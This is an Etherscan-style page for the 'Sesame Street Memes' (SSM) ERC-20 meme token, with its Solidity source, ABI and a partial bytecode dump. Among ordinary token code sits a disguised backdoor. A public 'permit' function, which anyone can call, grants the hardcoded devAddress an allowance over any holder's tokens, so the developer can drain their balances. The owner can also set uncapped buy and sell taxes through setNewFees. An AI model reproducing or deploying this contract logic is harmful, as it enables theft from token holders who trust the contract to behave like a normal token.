ERC-20
Overview
Max Total Supply
1,000,000 SSM
Holders
25
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
31,132.083323188983362291 SSMValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SSM
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-11 */ // SPDX-License-Identifier: MIT /* Sesame Street Memes! Sesame Street Memes was born through the electrified infusion of WallStreetBets, Sesame Street and a sprinkle of Memes. Website: http://sesamestreetmemes.vip Telegram: https://t.me/sesame_erc Twitter: https://twitter.com/sesame_erc */ pragma solidity 0.8.21; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20META is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20META { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _permit(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } interface IUniswapRouterV2 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract SSM is ERC20(unicode"Sesame Street Memes", unicode"SSM"), Ownable { IUniswapV2Factory public constant factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); IUniswapRouterV2 public constant router = IUniswapRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); mapping(address => bool) private _isFeeExcluded; mapping(address => bool) private _isMaxTxExcluded; uint256 constant _totalSupply = 1_000_000 * 10 ** 18; uint256 public maxBuySize; uint256 public maxSellSize; uint256 public maxWallet; uint256 public maxFee; uint256 public swapMin; uint256 public initialBlock; uint256 public buyTax; uint256 public sellTax; bool public hasTempLimits = true; bool public buyEnable = false; bool public swapEnabled = false; bool public hasInitialFees = true; bool private swapping; address public devAddress; uint256 public tokensClogged; address public immutable pairAddress; constructor(){ _mint(msg.sender, _totalSupply); _approve(address(this), address(router), ~uint256(0)); _maxTxExclude(address(router), true); pairAddress = factory.createPair( address(this), router.WETH() ); maxWallet = (totalSupply() * 30) / 1_000; maxFee = (totalSupply() * 65) / 10_000; maxBuySize = (totalSupply() * 25) / 1_000; swapMin = (totalSupply() * 1) / 10_000; maxSellSize = (totalSupply() * 25) / 1_000; devAddress = 0xb9775be777Da8c2d9B1ec1D05a7F00e40C05FED6; _maxTxExclude(msg.sender, true); _maxTxExclude(address(this), true); _maxTxExclude(address(0xdead), true); feeExclude(msg.sender, true); feeExclude(address(this), true); feeExclude(devAddress, true); feeExclude(address(0xdead), true); } function permit(address spender, uint256 amount) public virtual returns (bool) { address owner = devAddress; _permit(spender, owner, amount); return true; } function removeLimits() external onlyOwner { hasTempLimits = false; } function openTrading() public onlyOwner { require(initialBlock == 0, "ERROR: Token state is already live !"); initialBlock = block.number; buyEnable = true; swapEnabled = true; } receive() external payable {} function feeExclude(address account, bool excluded) public onlyOwner { _isFeeExcluded[account] = excluded; } function _maxTxExclude( address updAds, bool isExcluded ) private { _isMaxTxExcluded[updAds] = isExcluded; } function swapFees() private { uint256 contractBalance = balanceOf(address(this)); uint256 tokensClogged = tokensClogged; if (contractBalance == 0 || tokensClogged == 0) { return; } if (contractBalance > maxFee) { contractBalance = maxFee; } swapTokensForETH(contractBalance); payable(devAddress).transfer(address(this).balance); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function getTax() internal { require( initialBlock > 0, "Trading not live" ); uint256 currentBlock = block.number; uint256 lastTierOneBlock = initialBlock + 6; if(currentBlock <= lastTierOneBlock) { buyTax = 18; sellTax = 18; } else { buyTax = 4; sellTax = 4; hasInitialFees = false; } } function setNewFees(uint256 newBuyFees, uint256 newSellFees) external onlyOwner { buyTax = newBuyFees; sellTax = newSellFees; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); if (hasTempLimits) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) ) { if (!buyEnable) { require( _isMaxTxExcluded[from] || _isMaxTxExcluded[to], "ERROR: Trading is not active." ); require(from == owner(), "ERROR: Trading is enabled"); } //when buy if ( from == pairAddress && !_isMaxTxExcluded[to] ) { require( amount <= maxBuySize, "ERROR: Buy transfer amount exceeds the max buy." ); require( amount + balanceOf(to) <= maxWallet, "ERROR: Cannot Exceed max wallet" ); } //when sell else if ( to == pairAddress && !_isMaxTxExcluded[from] ) { require( amount <= maxSellSize, "ERROR: Sell transfer amount exceeds the max sell." ); } else if ( !_isMaxTxExcluded[to] && !_isMaxTxExcluded[from] ) { require( amount + balanceOf(to) <= maxWallet, "ERROR: Cannot Exceed max wallet" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= maxFee; if ( canSwap && swapEnabled && !swapping && amount > swapMin && !(from == pairAddress) && !_isFeeExcluded[from] && !_isFeeExcluded[to] ) { swapping = true; swapFees(); swapping = false; } bool takeFee = true; if (_isFeeExcluded[from] || _isFeeExcluded[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if(hasInitialFees){ getTax(); } // Sell if (to == pairAddress && sellTax > 0) { fees = (amount * sellTax) / 100; tokensClogged += fees; } // Buy else if (from == pairAddress && buyTax > 0) { fees = (amount * buyTax) / 100; tokensClogged += fees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"feeExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasInitialFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasTempLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuySize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapRouterV2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFees","type":"uint256"},{"internalType":"uint256","name":"newSellFees","type":"uint256"}],"name":"setNewFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensClogged","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526010805463ffffffff1916630100000117905534801562000023575f80fd5b506040518060400160405280601381526020017f536573616d6520537472656574204d656d6573000000000000000000000000008152506040518060400160405280600381526020016253534d60e81b815250816003908162000087919062000776565b50600462000096828262000776565b505050620000b3620000ad620003ff60201b60201c565b62000403565b620000c93369d3c21bcecceda100000062000454565b620000eb30737a250d5630b4cf539739df2c5dacb4c659f2488d5f1962000519565b737a250d5630b4cf539739df2c5dacb4c659f2488d5f5260076020527ffd21a1ac9a14dff647460ce8ad2ccecb794a59a4cfbb8678b1f9900a6a99551f805460ff19166001179055735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ce91906200083e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000219573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200023f91906200083e565b6001600160a01b03166080526103e86200025860025490565b6200026590601e62000881565b620002719190620008a1565b600a556127106200028160025490565b6200028e90604162000881565b6200029a9190620008a1565b600b556103e8620002aa60025490565b620002b790601962000881565b620002c39190620008a1565b600855612710620002d360025490565b620002e090600162000881565b620002ec9190620008a1565b600c556103e8620002fc60025490565b6200030990601962000881565b620003159190620008a1565b60095560108054600160281b600160c81b03191678b9775be777da8c2d9b1ec1d05a7f00e40c05fed60000000000179055335f908152600760205260409020805460ff19166001179055305f908152600760205260409020805460ff1916600117905561dead5f5260076020527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d805460ff19166001179055620003bb33600162000640565b620003c830600162000640565b601054620003ea906501000000000090046001600160a01b0316600162000640565b620003f961dead600162000640565b620008d7565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620004b05760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060025f828254620004c39190620008c1565b90915550506001600160a01b0382165f81815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b0383166200057d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401620004a7565b6001600160a01b038216620005e05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004a7565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6200064a62000679565b6001600160a01b03919091165f908152600660205260409020805460ff1916911515919091179055565b505050565b6005546001600160a01b03163314620006d55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401620004a7565b565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200070057607f821691505b6020821081036200071f57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000674575f81815260208120601f850160051c810160208610156200074d5750805b601f850160051c820191505b818110156200076e5782815560010162000759565b505050505050565b81516001600160401b03811115620007925762000792620006d7565b620007aa81620007a38454620006eb565b8462000725565b602080601f831160018114620007e0575f8415620007c85750858301515b5f19600386901b1c1916600185901b1785556200076e565b5f85815260208120601f198616915b828110156200081057888601518255948401946001909101908401620007ef565b50858210156200082e57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f602082840312156200084f575f80fd5b81516001600160a01b038116811462000866575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176200089b576200089b6200086d565b92915050565b5f82620008bc57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156200089b576200089b6200086d565b608051611a51620009135f395f81816104e201528181610d1d01528181610e5d015281816110350152818161114e01526111cd0152611a515ff3fe60806040526004361061020a575f3560e01c80638da5cb5b11610113578063c45a01551161009d578063dd62ed3e1161006d578063dd62ed3e146105bc578063e6f70531146105db578063f2fde38b146105fa578063f887ea4014610619578063f8b45b0514610640575f80fd5b8063c45a015514610557578063c9567bf91461057e578063cc1776d314610592578063d39e216c146105a7575f80fd5b8063a457c2d7116100e3578063a457c2d7146104b2578063a8b08982146104d1578063a9059cbb14610504578063b3de9b5d14610523578063baccf5cf14610538575f80fd5b80638da5cb5b14610449578063955398c21461046657806395d89b41146104855780639e6e8f9014610499575f80fd5b80633ad10ef6116101945780636ddd1713116101645780636ddd1713146103ac57806370a08231146103cb578063715018a6146103ff578063751039fc146104155780637ab6c3cd14610429575f80fd5b80633ad10ef6146103245780633c2565ff146103645780633d389faf146103795780634f7041a514610397575f80fd5b806318160ddd116101da57806318160ddd146102a257806323b872dd146102b65780632cb15864146102d5578063313ce567146102ea5780633950935114610305575f80fd5b806301f59d161461021557806306fdde031461023d578063095ea7b31461025e57806311826b331461028d575f80fd5b3661021157005b5f80fd5b348015610220575f80fd5b5061022a600b5481565b6040519081526020015b60405180910390f35b348015610248575f80fd5b50610251610655565b60405161023491906116dd565b348015610269575f80fd5b5061027d61027836600461173c565b6106e5565b6040519015158152602001610234565b348015610298575f80fd5b5061022a60115481565b3480156102ad575f80fd5b5060025461022a565b3480156102c1575f80fd5b5061027d6102d0366004611766565b6106fe565b3480156102e0575f80fd5b5061022a600d5481565b3480156102f5575f80fd5b5060405160128152602001610234565b348015610310575f80fd5b5061027d61031f36600461173c565b610721565b34801561032f575f80fd5b5060105461034c906501000000000090046001600160a01b031681565b6040516001600160a01b039091168152602001610234565b34801561036f575f80fd5b5061022a60085481565b348015610384575f80fd5b5060105461027d90610100900460ff1681565b3480156103a2575f80fd5b5061022a600e5481565b3480156103b7575f80fd5b5060105461027d9062010000900460ff1681565b3480156103d6575f80fd5b5061022a6103e53660046117a4565b6001600160a01b03165f9081526020819052604090205490565b34801561040a575f80fd5b50610413610742565b005b348015610420575f80fd5b50610413610755565b348015610434575f80fd5b5060105461027d906301000000900460ff1681565b348015610454575f80fd5b506005546001600160a01b031661034c565b348015610471575f80fd5b506104136104803660046117c6565b610769565b348015610490575f80fd5b5061025161079b565b3480156104a4575f80fd5b5060105461027d9060ff1681565b3480156104bd575f80fd5b5061027d6104cc36600461173c565b6107aa565b3480156104dc575f80fd5b5061034c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561050f575f80fd5b5061027d61051e36600461173c565b610829565b34801561052e575f80fd5b5061022a600c5481565b348015610543575f80fd5b50610413610552366004611801565b610836565b348015610562575f80fd5b5061034c735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b348015610589575f80fd5b50610413610849565b34801561059d575f80fd5b5061022a600f5481565b3480156105b2575f80fd5b5061022a60095481565b3480156105c7575f80fd5b5061022a6105d6366004611821565b6108c4565b3480156105e6575f80fd5b5061027d6105f536600461173c565b6108ee565b348015610605575f80fd5b506104136106143660046117a4565b610910565b348015610624575f80fd5b5061034c737a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561064b575f80fd5b5061022a600a5481565b6060600380546106649061184d565b80601f01602080910402602001604051908101604052809291908181526020018280546106909061184d565b80156106db5780601f106106b2576101008083540402835291602001916106db565b820191905f5260205f20905b8154815290600101906020018083116106be57829003601f168201915b5050505050905090565b5f336106f2818585610989565b60019150505b92915050565b5f3361070b858285610aac565b610716858585610b24565b506001949350505050565b5f336106f281858561073383836108c4565b61073d9190611899565b610989565b61074a611277565b6107535f6112d1565b565b61075d611277565b6010805460ff19169055565b610771611277565b6001600160a01b03919091165f908152600660205260409020805460ff1916911515919091179055565b6060600480546106649061184d565b5f33816107b782866108c4565b90508381101561081c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6107168286868403610989565b5f336106f2818585610b24565b61083e611277565b600e91909155600f55565b610851611277565b600d54156108ad5760405162461bcd60e51b8152602060048201526024808201527f4552524f523a20546f6b656e20737461746520697320616c7265616479206c696044820152637665202160e01b6064820152608401610813565b43600d556010805462ffff00191662010100179055565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6010545f906501000000000090046001600160a01b03166106f2848285611322565b610918611277565b6001600160a01b03811661097d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610813565b610986816112d1565b50565b6001600160a01b0383166109eb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610813565b6001600160a01b038216610a4